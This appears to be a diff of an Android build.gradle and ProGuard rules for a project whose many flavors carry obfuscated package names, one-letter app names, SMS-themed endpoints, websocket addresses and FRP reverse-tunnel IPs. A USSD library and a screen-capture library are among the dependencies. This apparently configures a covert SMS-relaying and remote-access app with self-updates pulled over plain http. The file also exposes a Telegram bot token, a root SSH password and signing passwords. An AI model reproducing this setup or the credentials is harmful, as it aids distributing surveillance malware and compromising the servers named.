+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/t4/p11081\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"\""
+            buildConfigField "String", "FRPC_IP", "\"13.212.226.7\""
+            buildConfigField "String", "FRPC_PORT", "\"11081\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_o"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 22
+
+        }
+        user15 {
+            dimension "baseUrl"
+            applicationId "com.cjgu.rah.wgige.coerws"
+            resValue "string", "app_name", "P"
+            buildConfigField "String", "BASE_URL", "\"https://cm-sms-www.ghpcarphone.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/p/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://cm-naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_p"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 29
+        }
+        user16 {
+            dimension "baseUrl"
+            applicationId "com.obfsb.hbrr.snla.rjpqcn"
+            resValue "string", "app_name", "Q"
+            buildConfigField "String", "BASE_URL", "\"https://cm-sms-www.ghpcarphone.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"455b5053-9d7f-43ae-a115-76f16cfaf3f5\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/q/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://cm-naughty.lkluckpanda.online/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"3.68.76.198\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_q"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 29
+
+        }
+        user17 {
+            dimension "baseUrl"
+            applicationId "com.ymj.mmjonz.ojlk.lsf"
+            resValue "string", "app_name", "R"
+            buildConfigField "String", "BASE_URL", "\"https://cm-www.ghpcarphone.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/r/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://cm-naughty.lkluckpanda.online/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"3.73.141.19\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_r"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 29
+
+        }
+        user18 {
+            dimension "baseUrl"
+            applicationId "com.fbco.sndg.hwxshg.sojjfq"
+            resValue "string", "app_name", "S"
+            buildConfigField "String", "BASE_URL", "\"https://www.ghpcarphone.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"bfbc2f7f-779a-4719-9295-60eefbb9269f\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/s/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"3.74.1.3\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_s"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 29
+
+        }
+        user19 {
+            dimension "baseUrl"
+            applicationId "com.awukva.knpwv.wcy.ouddj"
+            resValue "string", "app_name", "T"
+            buildConfigField "String", "BASE_URL", "\"https://sn-www.ghpcarphone.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/t/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://sn-naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"18.159.208.112\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_t"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 29
+
+        }
+        user20 {
+            dimension "baseUrl"
+            applicationId "com.skqaxd.bqvwtb.jedo.axrmh"
+            resValue "string", "app_name", "U"
+            buildConfigField "String", "BASE_URL", "\"https://tz-www.ghpcarphone.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/u/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://tz-naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"3.68.159.34\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_u"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 29
+
+        }
+        user21 {
+            dimension "baseUrl"
+            applicationId "com.kat.ubkhsb.anzvy.wad"
+            resValue "string", "app_name", "V"
+            buildConfigField "String", "BASE_URL", "\"替换成你需要的,举例[https://india.gdtabletouch.com]\""
+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/v/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"WEBSOCKRET的地址,没有就删除\""
+            buildConfigField "String", "FRPC_IP", "\"FRPC配置中对应的IP,没有就删除写XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"FRPC配置中对应的端口,没有就写XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_v"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 29
+
+        }
+        user22 {
+            dimension "baseUrl"
+            applicationId "com.szme.cps.enlsf.cbsc"
+            resValue "string", "app_name", "W"
+            buildConfigField "String", "BASE_URL", "\"替换成你需要的,举例[https://india.gdtabletouch.com]\""
+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/w/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"WEBSOCKRET的地址,没有就删除\""
+            buildConfigField "String", "FRPC_IP", "\"FRPC配置中对应的IP,没有就删除写XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"FRPC配置中对应的端口,没有就写XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_w"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 29
+
+        }
+        user23 {
+            dimension "baseUrl"
+            applicationId "com.nzvoh.ftrl.nrje.ins"
+            resValue "string", "app_name", "X"
+            buildConfigField "String", "BASE_URL", "\"替换成你需要的,举例[https://india.gdtabletouch.com]\""
+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/x/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"WEBSOCKRET的地址,没有就删除\""
+            buildConfigField "String", "FRPC_IP", "\"FRPC配置中对应的IP,没有就删除写XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"FRPC配置中对应的端口,没有就写XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_x"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 29
+
+        }
+        user24 {
+            dimension "baseUrl"
+            applicationId "com.qqgcd.itup.xlcz.syoew"
+            resValue "string", "app_name", "Y"
+            buildConfigField "String", "BASE_URL", "\"替换成你需要的,举例[https://india.gdtabletouch.com]\""
+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/y/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"WEBSOCKRET的地址,没有就删除\""
+            buildConfigField "String", "FRPC_IP", "\"FRPC配置中对应的IP,没有就删除写XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"FRPC配置中对应的端口,没有就写XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_y"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 29
+
+        }
+        user25 {
+            dimension "baseUrl"
+            applicationId "com.jnbgy.sqs.cfb.zrctwd"
+            resValue "string", "app_name", "Z"
+            buildConfigField "String", "BASE_URL", "\"替换成你需要的,举例[https://india.gdtabletouch.com]\""
+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/z/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"WEBSOCKRET的地址,没有就删除\""
+            buildConfigField "String", "FRPC_IP", "\"FRPC配置中对应的IP,没有就删除写XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"FRPC配置中对应的端口,没有就写XXXXX\""
+            manifestPlaceholders = [app_icon: "@mipmap/ic_z"]
+            ndk {
+                //noinspection ChromeOsAbiSupport
+                abiFilters 'arm64-v8a', 'armeabi-v7a'
+            }
+            minSdkVersion 29
+
+        }
+    }
+    defaultConfig {
+//        minSdkVersion 29
+        //noinspection ExpiredTargetSdkVersion
+        targetSdkVersion 30
+        versionCode 65
+        versionName "0.40.5.6"
+        multiDexEnabled true
+        testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
+    }
+
+    compileOptions {
+        sourceCompatibility = 1.8
+        targetCompatibility = 1.8
+    }
+
+    buildFeatures {
+        viewBinding = true
+    }
+
+
+    signingConfigs {
+        normal {
+            storeFile file('..\\app\\frpcapp.jks')
+            storePassword 'frpcapp'
+            keyAlias = 'frpcapp'
+            keyPassword 'frpcapp'
+        }
+
+        user10 {
+            storeFile file('..\\app\\appkey2254.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
+        user11 {
+            storeFile file('..\\app\\appkey201517_1.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
+        user12 {
+            storeFile file('..\\app\\appkey201519_2.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
+        user13 {
+            storeFile file('..\\app\\appkey201520_3.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
+        user14 {
+            storeFile file('..\\app\\appkey2042191.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
+        user15 {
+            storeFile file('..\\app\\appkey1710111.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
+        user16 {
+            storeFile file('..\\app\\appkey1710122.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
+        user17 {
+            storeFile file('..\\app\\appkey1710133.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
+        user18 {
+            storeFile file('..\\app\\appkey1710144.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
+        user19 {
+            storeFile file('..\\app\\appkey1710155.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
+        user20 {
+            storeFile file('..\\app\\appkey1710166.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
+        user21 {
+            storeFile file('..\\app\\appkey1710177.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
+        user22 {
+            storeFile file('..\\app\\appkey1710188.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
+        user23 {
+            storeFile file('..\\app\\appkey1710199.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
+        user24 {
+            storeFile file('..\\app\\appkey17102010.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
+        user25 {
+            storeFile file('..\\app\\appkey17102211.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+    }
+
+    buildTypes {
+        release {
+            buildConfigField "boolean", "LOG_DEBUG", "false"
+            minifyEnabled true
+            zipAlignEnabled true
+            shrinkResources true
+            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro', 'proguard-fresco.pro'
+            productFlavors.user25.signingConfig signingConfigs.user25
+            productFlavors.user24.signingConfig signingConfigs.user24
+            productFlavors.user23.signingConfig signingConfigs.user23
+            productFlavors.user22.signingConfig signingConfigs.user22
+            productFlavors.user21.signingConfig signingConfigs.user21
+            productFlavors.user20.signingConfig signingConfigs.user20
+            productFlavors.user19.signingConfig signingConfigs.user19
+            productFlavors.user18.signingConfig signingConfigs.user18
+            productFlavors.user17.signingConfig signingConfigs.user17
+            productFlavors.user16.signingConfig signingConfigs.user16
+            productFlavors.user15.signingConfig signingConfigs.user15
+            productFlavors.user14.signingConfig signingConfigs.user14
+            productFlavors.user13.signingConfig signingConfigs.user13
+            productFlavors.user12.signingConfig signingConfigs.user12
+            productFlavors.user11.signingConfig signingConfigs.user11
+            productFlavors.user10.signingConfig signingConfigs.user10
+            productFlavors.user9.signingConfig signingConfigs.normal
+            productFlavors.user8.signingConfig signingConfigs.normal
+            productFlavors.user7.signingConfig signingConfigs.normal
+            productFlavors.user6.signingConfig signingConfigs.normal
+            productFlavors.user5.signingConfig signingConfigs.normal
+            productFlavors.user4.signingConfig signingConfigs.normal
+            productFlavors.user3.signingConfig signingConfigs.normal
+            productFlavors.user2.signingConfig signingConfigs.normal
+            productFlavors.user1.signingConfig signingConfigs.normal
+            productFlavors.userdev.signingConfig signingConfigs.normal
+        }
+
+        debug {
+            buildConfigField "boolean", "LOG_DEBUG", "true"
+            minifyEnabled false
+            zipAlignEnabled false
+            shrinkResources false
+            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
+            productFlavors.user25.signingConfig signingConfigs.user25
+            productFlavors.user24.signingConfig signingConfigs.user24
+            productFlavors.user23.signingConfig signingConfigs.user23
+            productFlavors.user22.signingConfig signingConfigs.user22
+            productFlavors.user21.signingConfig signingConfigs.user21
+            productFlavors.user20.signingConfig signingConfigs.user20
+            productFlavors.user19.signingConfig signingConfigs.user19
+            productFlavors.user18.signingConfig signingConfigs.user18
+            productFlavors.user17.signingConfig signingConfigs.user17
+            productFlavors.user16.signingConfig signingConfigs.user16
+            productFlavors.user15.signingConfig signingConfigs.user15
+            productFlavors.user14.signingConfig signingConfigs.user14
+            productFlavors.user13.signingConfig signingConfigs.user13
+            productFlavors.user12.signingConfig signingConfigs.user12
+            productFlavors.user11.signingConfig signingConfigs.user11
+            productFlavors.user10.signingConfig signingConfigs.user10
+            productFlavors.user9.signingConfig signingConfigs.normal
+            productFlavors.user8.signingConfig signingConfigs.normal
+            productFlavors.user7.signingConfig signingConfigs.normal
+            productFlavors.user6.signingConfig signingConfigs.normal
+            productFlavors.user5.signingConfig signingConfigs.normal
+            productFlavors.user4.signingConfig signingConfigs.normal
+            productFlavors.user3.signingConfig signingConfigs.normal
+            productFlavors.user2.signingConfig signingConfigs.normal
+            productFlavors.user1.signingConfig signingConfigs.normal
+            productFlavors.userdev.signingConfig signingConfigs.normal
+        }
+
+    }
+
+    repositories {
+        mavenCentral()
+        flatDir {
+            dirs 'libs'
+        }
+    }
+
+    applicationVariants.configureEach { variant ->
+        variant.outputs.configureEach {
+            outputFileName = "guy.apk"
+            def gradleTaskName = gradle.startParameter.taskRequests.args.toString()
+            def name1 = gradleTaskName.replace('assemble', '').replace('Release', '').replace('[', '').replace(']', '')
+            def name2 = variant.productFlavors.get(0).name
+            if (name1.equalsIgnoreCase(name2)) {
+//                outputFileName = "guy.apk"
+                def title = "New version updated"
+                def chatId = "-1001958143149L"
+                def botToken = "6428083297:AAEFS5ccl49hBsYbGAqJdEM5Cv8bvHUTC4I"
+                def isForce = false
+                def json = new JSONObject([
+                        "versionName": variant.versionName,
+                        "versionCode": variant.versionCode,
+                        "isForce"    : isForce,
+                        "title"      : title,
+                        "chatId"     : chatId,
+                        "botToken"   : botToken,
+                        "other"      : variant.productFlavors.get(0).getProperties()
+                ])
+
+
+                // 获取 APK 文件的父文件夹
+                def apkFilePath = outputFile.parent
+                def targetFolder = file(apkFilePath)
+                targetFolder.mkdirs()
+                // 写入 JSON 文件
+                def jsonFile = file("${apkFilePath}/config.json")
+                jsonFile.write(json.toString())
+                def localPathConfig = "${apkFilePath}/config.json"
+                def localPathApk = "${apkFilePath}/guy.apk"
+                def updateUrlConfig = "/data/wwwroot/up.lkluckpanda.online/${variant.productFlavors.get(0).buildConfigFields.get("UPDATE_BASE_URL").value.replace("http://up.lkluckpanda.online/", '').replace('"', '')}/config.json"
+                def updateUrlApk = "/data/wwwroot/up.lkluckpanda.online/${variant.productFlavors.get(0).buildConfigFields.get("UPDATE_BASE_URL").value.replace("http://up.lkluckpanda.online/", '').replace('"', '')}/guy.apk"
+                def username = 'root'
+                def host = '13.250.5.181'
+                def port = '22'
+                def password = 'XhOatBQZZxKu78ejWDa5'
+
+                def configCmd = ("python3 upload_to_sftp.py ${localPathConfig} ${updateUrlConfig} ${host} ${port} ${username} ${password}\n")
+                def apkCmd = ("python3 upload_to_sftp.py ${localPathApk} ${updateUrlApk} ${host} ${port} ${username} ${password}\n")
+                def jsonFile2 = file("${apkFilePath}/快捷上传.txt")
+                def date = new Date().format("yyyy-MM-dd HH:mm")
+                jsonFile2.write("==============================START==============================\n")
+                jsonFile2.append("${date}\n")
+                jsonFile2.append('执行以下命令,上传APK文件和config.js文件\n')
+                jsonFile2.append(configCmd.toString())
+                jsonFile2.append(apkCmd.toString())
+                jsonFile2.append("============================== END ==============================\n")
+                def pythonTxt = "import paramiko\n" +
+                        "import sys\n" +
+                        "import os\n" +
+                        "\n" +
+                        "def print_progress(transferred, total):\n" +
+                        "    progress = transferred / total * 100\n" +
+                        "    sys.stdout.write(f\"\\r传输进度:{progress:.2f}% ({transferred}/{total} 字节)\")\n" +
+                        "    sys.stdout.flush()\n" +
+                        "\n" +
+                        "def sftp_upload(local_path, remote_path, host, port, username, password):\n" +
+                        "    try:\n" +
+                        "        # 创建一个SSH客户端对象\n" +
+                        "        ssh_client = paramiko.SSHClient()\n" +
+                        "        # 自动添加主机密钥\n" +
+                        "        ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n" +
+                        "        # 连接到SFTP服务器\n" +
+                        "        ssh_client.connect(hostname=host, port=port, username=username, password=password)\n" +
+                        "        # 创建一个SFTP客户端对象\n" +
+                        "        sftp_client = ssh_client.open_sftp()\n" +
+                        "\n" +
+                        "        # 检查远程文件是否存在,如果不存在,则创建路径中的目录和文件\n" +
+                        "        try:\n" +
+                        "            sftp_client.stat(remote_path)\n" +
+                        "            print(f\"远程文件 {remote_path} 已存在\")\n" +
+                        "        except FileNotFoundError:\n" +
+                        "            # 获取远程路径中的目录部分\n" +
+                        "            remote_dir = os.path.dirname(remote_path)\n" +
+                        "            # 创建远程目录\n" +
+                        "            if remote_dir:\n" +
+                        "                try:\n" +
+                        "                    sftp_client.stat(remote_dir)\n" +
+                        "                except FileNotFoundError:\n" +
+                        "                    sftp_client.mkdir(remote_dir)\n" +
+                        "                    print(f\"已在远程服务器上创建目录 {remote_dir}\")\n" +
+                        "            # 创建远程文件\n" +
+                        "            sftp_client.open(remote_path, 'w').close()\n" +
+                        "            print(f\"已在远程服务器上创建文件 {remote_path}\")\n" +
+                        "\n" +
+                        "        # 上传文件,并传入回调函数来显示传输进度\n" +
+                        "        sftp_client.put(local_path, remote_path, callback=print_progress)\n" +
+                        "        # 输出换行符,以便下一行正常显示\n" +
+                        "        print()\n" +
+                        "        print(f\"文件成功上传\")\n" +
+                        "\n" +
+                        "        # 构建下载路径\n" +
+                        "        download_path = f\"http://{remote_path.replace('/data/wwwroot/', '')}\"\n" +
+                        "        print(f\"文件下载路径: {download_path}\")\n" +
+                        "\n" +
+                        "        # 关闭SFTP连接\n" +
+                        "        sftp_client.close()\n" +
+                        "        # 关闭SSH连接\n" +
+                        "        ssh_client.close()\n" +
+                        "    except Exception as e:\n" +
+                        "        print(f\"上传文件时发生错误: {e}\")\n" +
+                        "        # 打印异常类型\n" +
+                        "        print(f\"异常类型: {type(e)}\")\n" +
+                        "        # 打印异常消息\n" +
+                        "        print(f\"异常消息: {e}\")\n" +
+                        "        # 打印异常的堆栈跟踪信息\n" +
+                        "        import traceback\n" +
+                        "        traceback.print_exc()\n" +
+                        "\n" +
+                        "if __name__ == \"__main__\":\n" +
+                        "    # 从命令行参数中获取本地文件路径、远程文件路径以及SFTP服务器相关信息\n" +
+                        "    if len(sys.argv) < 7:\n" +
+                        "        print(\"用法: python script.py <本地文件路径> <远程文件路径> <SFTP服务器地址> <端口> <用户名> <密码>\")\n" +
+                        "        sys.exit(1)\n" +
+                        "\n" +
+                        "    local_path = sys.argv[1]\n" +
+                        "    remote_path = sys.argv[2]\n" +
+                        "    host = sys.argv[3]\n" +
+                        "    port = int(sys.argv[4])\n" +
+                        "    username = sys.argv[5]\n" +
+                        "    password = sys.argv[6]\n" +
+                        "    # 检查本地文件是否存在\n" +
+                        "    if not os.path.exists(local_path):\n" +
+                        "        print(f\"本地文件 {local_path} 不存在\")\n" +
+                        "        sys.exit(1)\n" +
+                        "    # 上传文件到SFTP服务器\n" +
+                        "    sftp_upload(local_path, remote_path, host, port, username, password)"
+                def jsonFile3 = file("${apkFilePath}/upload_to_sftp.py")
+                jsonFile3.write(pythonTxt.toString())
+            }
+
+
+        }
+    }
+
+
+}
+
+dependencies {
+    implementation fileTree(dir: 'libs', include: ['*.jar'])
+    implementation(name: 'frpclib', ext: 'aar')
+    implementation 'androidx.appcompat:appcompat:1.1.0'
+    implementation 'androidx.constraintlayout:constraintlayout:1.1.3'
+    implementation 'androidx.legacy:legacy-support-v4:1.0.0'
+    implementation 'com.google.android.material:material:1.1.0'
+    implementation 'androidx.navigation:navigation-fragment:2.3.0'
+    implementation 'androidx.navigation:navigation-ui:2.3.0'
+    implementation 'androidx.lifecycle:lifecycle-extensions:2.2.0'
+    testImplementation 'junit:junit:4.12'
+    androidTestImplementation 'androidx.test.ext:junit:1.1.1'
+    androidTestImplementation 'androidx.test.espresso:espresso-core:3.2.0'
+    implementation 'androidx.recyclerview:recyclerview:1.1.0'
+    implementation 'com.jakewharton:butterknife:10.2.1'
+    annotationProcessor 'com.jakewharton:butterknife-compiler:10.2.1'
+    implementation 'com.squareup.retrofit2:retrofit:2.6.2'
+    implementation 'com.squareup.retrofit2:converter-gson:2.6.2'
+    implementation 'com.squareup.retrofit2:adapter-rxjava2:2.6.2'
+    implementation 'io.reactivex.rxjava2:rxandroid:2.0.2'
+    implementation 'io.reactivex.rxjava2:rxjava:2.1.16'
+    implementation 'com.github.ahmadaghazadeh:CodeEditor:1.0.17'
+    implementation 'com.afollestad.material-dialogs:core:0.9.6.0'
+    implementation 'org.jetbrains:annotations:15.0'
+    implementation 'com.github.CymChad:BaseRecyclerViewAdapterHelper:3.0.4'
+    implementation 'io.github.jeremyliao:live-event-bus-x:1.8.0'
+    implementation 'com.google.android.material:material:1.5.0'
+    implementation "androidx.multidex:multidex:2.0.1"
+    def room_version = "2.4.1"
+    implementation "androidx.room:room-runtime:$room_version"
+    annotationProcessor "androidx.room:room-compiler:$room_version"
+    implementation "androidx.room:room-rxjava2:$room_version"
+
+    implementation 'androidx.work:work-runtime:2.7.0'
+    implementation 'org.xutils:xutils:3.9.0'
+    implementation 'com.alibaba:fastjson:1.2.73'
+    implementation 'com.github.sanyinchen:LogView:v1.0'
+    def appCenterSdkVersion = '5.0.0'
+    implementation "com.microsoft.appcenter:appcenter-analytics:${appCenterSdkVersion}"
+    implementation "com.microsoft.appcenter:appcenter-crashes:${appCenterSdkVersion}"
+    implementation "com.microsoft.appcenter:appcenter-distribute:${appCenterSdkVersion}"
+    implementation project(':ussd-library')
+    implementation 'com.github.LxzBUG:ScreenShare:1.1.6'
+    implementation 'com.arthenica:mobile-ffmpeg-full-gpl:4.4'
+}
+

BIN
webviewTest/app/frpcapp.jks


BIN
webviewTest/app/libs/frpclib-sources.jar


BIN
webviewTest/app/libs/frpclib.aar


+ 271 - 0
webviewTest/app/proguard-rules.pro

@@ -0,0 +1,271 @@
+# 代码混淆压缩比,在0~7之间,默认为5,一般不做修改
+-optimizationpasses 5
+
+# 混合时不使用大小写混合,混合后的类名为小写
+-dontusemixedcaseclassnames
+
+# 指定不去忽略非公共库的类
+-dontskipnonpubliclibraryclasses
+
+# 这句话能够使我们的项目混淆后产生映射文件
+# 包含有类名->混淆后类名的映射关系
+-verbose
+
+# 指定不去忽略非公共库的类成员
+-dontskipnonpubliclibraryclassmembers
+
+# 不做预校验,preverify是proguard的四个步骤之一,Android不需要preverify,去掉这一步能够加快混淆速度。
+-dontpreverify
+
+# 保留Annotation不混淆
+-keepattributes *Annotation*,InnerClasses
+
+# 避免混淆泛型
+-keepattributes Signature
+
+# 抛出异常时保留代码行号
+#-keepattributes SourceFile,LineNumberTable
+
+# 指定混淆是采用的算法,后面的参数是一个过滤器
+# 这个过滤器是谷歌推荐的算法,一般不做更改
+-optimizations !code/simplification/cast,!field/*,!class/merging/*
+
+
+#-------------------------------------------------------默认保留区----------------------------------------------
+
+# 保留我们使用的四大组件,自定义的Application等等这些类不被混淆
+# 因为这些子类都有可能被外部调用
+-keep public class * extends android.app.Activity
+-keep public class * extends android.app.Application
+-keep public class * extends android.app.Service
+-keep public class * extends android.content.BroadcastReceiver
+-keep public class * extends android.content.ContentProvider
+-keep public class * extends android.app.backup.BackupAgentHelper
+-keep public class * extends android.preference.Preference
+-keep public class * extends android.view.View
+-keep public class * extends androidx.fragment.app.Fragment
+-keep public class * extends androidx.appcompat.app.AppCompatActivity
+
+-keep public class * extends androidx.viewbinding.ViewBinding {
+ public static  <methods>;
+}
+
+# 保留继承的
+-keep public class * extends android.support.v4.*
+-keep public class * extends android.support.v7.*
+-keep public class * extends android.support.annotation.*
+
+# 保留本地native方法不被混淆
+-keepclasseswithmembernames class * {
+    native <methods>;
+}
+
+# 保留R下面的资源
+-keep class **.R$* {
+ *;
+}
+
